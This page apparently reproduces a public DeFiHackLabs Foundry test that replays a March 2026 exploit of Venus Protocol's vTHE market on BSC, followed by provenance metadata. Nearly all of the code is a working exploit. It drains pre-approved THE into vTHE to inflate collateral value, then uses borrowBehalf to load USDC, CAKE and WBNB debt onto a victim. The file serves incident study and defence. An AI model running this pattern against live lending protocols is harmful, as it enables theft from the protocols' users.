Public reproduction file
src/test/2026-03/Venus_THE_exp.sol
Public reproduction file for dataset entry Venus THE.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2// @KeyInfo - Total Lost : still held as raw CAKE + WBNB at the end of the tx3// Attacker : https://bscscan.com/address/0x43C743e316F40d4511762EEdf6f6D484F67b2F824// Attack Contract : https://bscscan.com/address/0x737bc98F1D34E19539C074B8Ad1169d5d45dA6195// Attack Tx : https://bscscan.com/tx/0x4f477e941c12bbf32a58dc12db7bb0cb4d31d41ff25b2457e6af3c15d7f5663f7// Trace-driven state changing path:8// 1. Drain THE from six EOAs that had pre-approved the future attack-contract address.9// 2. Donate those THE directly into Venus vTHE to inflate the market's exchange rate / collateral value.10// 3. Use Venus borrowBehalf to borrow USDC onto a victim's debt while sending the cash to the attacker.11// 4. Mint vUSDC with the stolen USDC, enter that market, then borrow THE and donate it back into vTHE.12// 5. Reuse the victim's now-overvalued vTHE collateral to borrow CAKE and WBNB on the victim's behalf.14pragma solidity ^0.8.15;16import "forge-std/Test.sol";18interface IERC20Minimal {19 function balanceOf(20 address account21 ) external view returns (uint256);22 function transfer(23 address to,24 uint256 amount25 ) external returns (bool);26 function transferFrom(27 address from,28 address to,29 uint256 amount30 ) external returns (bool);31 function approve(32 address spender,33 uint256 amount34 ) external returns (bool);35}37interface IVenusComptrollerLike {38 function enterMarkets(39 address[] calldata vTokens40 ) external returns (uint256[] memory);41}43interface IVenusVTokenLike {44 function mint(45 uint256 mintAmount46 ) external returns (uint256);47 function borrow(48 uint256 borrowAmount49 ) external returns (uint256);50 function borrowBehalf(51 address borrower,52 uint256 borrowAmount53 ) external returns (uint256);54 function borrowBalanceStored(55 address account56 ) external view returns (uint256);57}59interface IEtchedAttackEntry {60 function attack() external;61}64contract Venus_vTHE_BorrowBehalf_Test is Test {65 string internal constant BSC_ARCHIVE_RPC = "https://bsc-mainnet.public.blastapi.io";67 address internal constant ATTACKER_EOA = 0x43C743e316F40d4511762EEdf6f6D484F67b2F82;68 address internal constant ATTACK_CONTRACT = 0x737bc98F1D34E19539C074B8Ad1169d5d45dA619;69 address internal constant VICTIM = 0x1A35bD28EFD46CfC46c2136f878777D69ae16231;71 uint256 internal constant ATTACK_BLOCK = 86_731_941;72 uint256 internal constant FORK_BLOCK = ATTACK_BLOCK - 1;74 uint256 internal constant THE_DONATION_TOTAL = 36_096_716_105_623_166_306_174_220;75 uint256 internal constant USDC_BORROW_AMOUNT = 1_581_454_956_604_046_563_770_845;76 uint256 internal constant THE_SELF_BORROW_AMOUNT = 4_628_903_900_747_323_154_634_598;77 uint256 internal constant CAKE_BORROW_AMOUNT = 913_858_263_360_521_396_654_198;78 uint256 internal constant WBNB_BORROW_AMOUNT = 1_972_530_910_582_753_621_682;80 IERC20Minimal internal constant USDC = IERC20Minimal(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);81 IERC20Minimal internal constant THE = IERC20Minimal(0xF4C8E32EaDEC4BFe97E0F595AdD0f4450a863a11);82 IERC20Minimal internal constant CAKE = IERC20Minimal(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);83 IERC20Minimal internal constant WBNB = IERC20Minimal(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);85 IVenusComptrollerLike internal constant COMPTROLLER =86 IVenusComptrollerLike(0xfD36E2c2a6789Db23113685031d7F16329158384);87 IVenusVTokenLike internal constant VUSDC = IVenusVTokenLike(0xecA88125a5ADbe82614ffC12D0DB554E2e2867C8);88 IVenusVTokenLike internal constant VTHE = IVenusVTokenLike(0x86e06EAfa6A1eA631Eab51DE500E3D474933739f);89 IVenusVTokenLike internal constant VCAKE = IVenusVTokenLike(0x86aC3974e2BD0d60825230fa6F355fF11409df5c);90 IVenusVTokenLike internal constant VWBNB = IVenusVTokenLike(0x6bCa74586218dB34cdB402295796b79663d816e9);92 function setUp() public {93 vm.createSelectFork(BSC_ARCHIVE_RPC, FORK_BLOCK);95 vm.label(ATTACKER_EOA, "attacker EOA");96 vm.label(ATTACK_CONTRACT, "historical attack contract");97 vm.label(VICTIM, "victim");98 vm.label(address(COMPTROLLER), "Venus Comptroller");99 vm.label(address(USDC), "USDC");100 vm.label(address(THE), "THENA");101 vm.label(address(CAKE), "CAKE");102 vm.label(address(WBNB), "WBNB");103 vm.label(address(VUSDC), "vUSDC");104 vm.label(address(VTHE), "vTHE");105 vm.label(address(VCAKE), "vCAKE");106 vm.label(address(VWBNB), "vWBNB");107 }109 function testTraceDrivenPoC() public {110 assertEq(ATTACK_CONTRACT.code.length, 0, "attack contract should not exist before the creation tx");112 uint256 attackerCakeBefore = CAKE.balanceOf(ATTACK_CONTRACT);113 uint256 attackerWbnbBefore = WBNB.balanceOf(ATTACK_CONTRACT);114 uint256 vTheCashBefore = THE.balanceOf(address(VTHE));115 uint256 victimUsdcDebtBefore = VUSDC.borrowBalanceStored(VICTIM);116 uint256 victimCakeDebtBefore = VCAKE.borrowBalanceStored(VICTIM);117 uint256 victimWbnbDebtBefore = VWBNB.borrowBalanceStored(VICTIM);119 VenusVtheBorrowBehalfRuntime template = new VenusVtheBorrowBehalfRuntime();120 vm.etch(ATTACK_CONTRACT, address(template).code);122 vm.prank(ATTACKER_EOA);123 IEtchedAttackEntry(ATTACK_CONTRACT).attack();125 uint256 attackerCakeAfter = CAKE.balanceOf(ATTACK_CONTRACT);126 uint256 attackerWbnbAfter = WBNB.balanceOf(ATTACK_CONTRACT);128 emit log_named_decimal_uint("attack contract CAKE before", attackerCakeBefore, 18);129 emit log_named_decimal_uint("attack contract CAKE after", attackerCakeAfter, 18);130 emit log_named_decimal_uint("attack contract CAKE profit", attackerCakeAfter - attackerCakeBefore, 18);131 emit log_named_decimal_uint("attack contract WBNB before", attackerWbnbBefore, 18);132 emit log_named_decimal_uint("attack contract WBNB after", attackerWbnbAfter, 18);133 emit log_named_decimal_uint("attack contract WBNB profit", attackerWbnbAfter - attackerWbnbBefore, 18);135 assertEq(attackerCakeAfter, CAKE_BORROW_AMOUNT, "unexpected CAKE profit");136 assertEq(attackerWbnbAfter, WBNB_BORROW_AMOUNT, "unexpected WBNB profit");137 assertGe(138 VUSDC.borrowBalanceStored(VICTIM) - victimUsdcDebtBefore,139 USDC_BORROW_AMOUNT,140 "victim USDC debt did not increase enough"141 );142 assertGe(143 VCAKE.borrowBalanceStored(VICTIM) - victimCakeDebtBefore,144 CAKE_BORROW_AMOUNT,145 "victim CAKE debt did not increase enough"146 );147 assertGe(148 VWBNB.borrowBalanceStored(VICTIM) - victimWbnbDebtBefore,149 WBNB_BORROW_AMOUNT,150 "victim WBNB debt did not increase enough"151 );152 assertEq(THE.balanceOf(address(VTHE)) - vTheCashBefore, THE_DONATION_TOTAL, "unexpected THE donated into vTHE");153 }154}156contract VenusVtheBorrowBehalfRuntime {157 address internal constant VICTIM = 0x1A35bD28EFD46CfC46c2136f878777D69ae16231;159 IERC20Minimal internal constant USDC = IERC20Minimal(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);160 IERC20Minimal internal constant THE = IERC20Minimal(0xF4C8E32EaDEC4BFe97E0F595AdD0f4450a863a11);162 IVenusComptrollerLike internal constant COMPTROLLER =163 IVenusComptrollerLike(0xfD36E2c2a6789Db23113685031d7F16329158384);164 IVenusVTokenLike internal constant VUSDC = IVenusVTokenLike(0xecA88125a5ADbe82614ffC12D0DB554E2e2867C8);165 IVenusVTokenLike internal constant VTHE = IVenusVTokenLike(0x86e06EAfa6A1eA631Eab51DE500E3D474933739f);166 IVenusVTokenLike internal constant VCAKE = IVenusVTokenLike(0x86aC3974e2BD0d60825230fa6F355fF11409df5c);167 IVenusVTokenLike internal constant VWBNB = IVenusVTokenLike(0x6bCa74586218dB34cdB402295796b79663d816e9);169 uint256 internal constant USDC_BORROW_AMOUNT = 1_581_454_956_604_046_563_770_845;170 uint256 internal constant THE_SELF_BORROW_AMOUNT = 4_628_903_900_747_323_154_634_598;171 uint256 internal constant CAKE_BORROW_AMOUNT = 913_858_263_360_521_396_654_198;172 uint256 internal constant WBNB_BORROW_AMOUNT = 1_972_530_910_582_753_621_682;174 function attack() external {175 _donateVictimApprovedTHE();177 require(VUSDC.borrowBehalf(VICTIM, USDC_BORROW_AMOUNT) == 0, "vUSDC borrowBehalf failed");178 require(USDC.approve(address(VUSDC), USDC_BORROW_AMOUNT), "USDC approve failed");179 require(VUSDC.mint(USDC_BORROW_AMOUNT) == 0, "vUSDC mint failed");181 address[] memory markets = new address[](1);182 markets[0] = address(VUSDC);183 uint256[] memory enterResults = COMPTROLLER.enterMarkets(markets);184 require(enterResults.length == 1 && enterResults[0] == 0, "enterMarkets failed");186 require(VTHE.borrow(THE_SELF_BORROW_AMOUNT) == 0, "vTHE borrow failed");187 require(THE.transfer(address(VTHE), THE_SELF_BORROW_AMOUNT), "THE self-donation failed");189 require(VCAKE.borrowBehalf(VICTIM, CAKE_BORROW_AMOUNT) == 0, "vCAKE borrowBehalf failed");190 require(VWBNB.borrowBehalf(VICTIM, WBNB_BORROW_AMOUNT) == 0, "vWBNB borrowBehalf failed");191 }193 function _donateVictimApprovedTHE() internal {194 require(195 THE.transferFrom(196 0xf052219F767612C411C9fE4a0F334237429c58AA, address(VTHE), 13_223_597_895_594_033_973_515_042197 ),198 "THE donor 0 failed"199 );200 require(201 THE.transferFrom(202 0x89E3615F356B3b40aCB2f8598117EAB1aFfddDB6, address(VTHE), 9_474_403_025_851_589_299_769_076203 ),204 "THE donor 1 failed"205 );206 require(207 THE.transferFrom(208 0xbb3782048735091AB4C304693a69371965A4ef87, address(VTHE), 7_532_701_864_690_234_166_374_687209 ),210 "THE donor 2 failed"211 );212 require(213 THE.transferFrom(214 0x564A073Fa4cfa81C2c882168fA760A88b82A4591, address(VTHE), 3_915_245_257_789_590_760_859_160215 ),216 "THE donor 3 failed"217 );218 require(THE.transferFrom(VICTIM, address(VTHE), 697_951_336_338_781_512_460_490), "THE donor 4 failed");219 require(220 THE.transferFrom(221 0x16f09B91604053E742eE0408909bAfA6a825bF07, address(VTHE), 1_252_816_725_358_936_593_195_765222 ),223 "THE donor 5 failed"224 );225 }226}Analysis
Dataset entry
Public Foundry test for “Venus THE” (2026-03-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame protocol or name in the dataset · 221 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x43c743e316f40d4511762eedf6f6d484f67b2f82
- Attack Contract
0x737bc98f1d34e19539c074b8ad1169d5d45da619
- Attack Tx
0x4f477e941c12bbf32a58dc12db7bb0cb4d31d41ff25b2457e6af3c15d7f5663f
File record
- Name
- Venus THE
- Path
- src/test/2026-03/Venus_THE_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4db1cf19ecbc1794a1e32fdf92f38314789469dc
- Language
- Solidity
- Size
- 227 lines
- Date
- 2026-03-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/Venus_THE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4db1cf19ecbc1794a1e32fdf92f38314789469dc, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.